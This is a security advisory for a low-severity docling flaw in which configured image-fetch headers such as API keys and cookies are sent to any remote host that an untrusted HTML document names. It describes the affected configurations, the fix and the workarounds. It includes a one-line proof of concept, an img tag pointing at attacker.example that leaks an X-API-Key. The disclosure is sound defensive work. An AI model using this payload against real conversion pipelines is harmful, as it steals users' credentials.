GHSA-p3fw-7699-7926: Low severity pip/docling-slim vulnerability
Summary
HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
Details
docling/backend/utils/imageresourceloader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.
Affected configurations
- Affected: callers that set headers together with enableremotefetch=True and fetchimages=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML. - Not affected: the default configuration.
Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
Proof of concept
html <img src="https://attacker.example/pixel.png">
Converting this file with HTMLBackendOptions(enableremotefetch=True, fetchimages=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
Patches
Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
Workarounds
Upgrade to 2.132.0. For older versions:
Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/docling-slimto a version that resolves this vulnerability.Fixed in 2.132.0 - Upgrade
Upgrade
pip/doclingto a version that resolves this vulnerability.Fixed in 2.132.0 - Upgrade
Upgrade
doclingto a version that resolves this vulnerability.Fixed in 2.132.0 - Configuration
Do not set headers when converting untrusted documents; alternatively, use credentials valid only for the intended host and without other value.
HTMLBackendOptions headers = unset
Event History
Frequently Asked Questions
Is a default Docling configuration affected?
No. Exposure requires enabling remote image fetching and supplying custom HTML image headers; the default configuration is not affected.
What must an attacker control to obtain the configured headers?
The attacker must be able to provide untrusted HTML that is converted by an affected configuration and that references an attacker-controlled remote image URL. No authentication or user interaction is required by the attacker beyond getting that document processed.
Which configurations should be treated as exposed?
Callers are affected when they set HTMLBackendOptions.headers together with enable_remote_fetch=True and fetch_images=True. For the CLI, this corresponds to using --html-image-headers with --html-image-fetch remote or all.
What can be done if patching is not immediately possible?
Do not process untrusted HTML with both custom image headers and remote image fetching enabled. Disable remote image fetching or avoid supplying headers for conversions of untrusted documents.
How can I determine whether credentials may have been disclosed?
Review conversion configurations and CLI invocations for custom HTML image headers combined with remote or all image fetching. Any untrusted HTML processed in that configuration could direct requests, including custom headers such as X-API-Key or Cookie, to an attacker-selected host.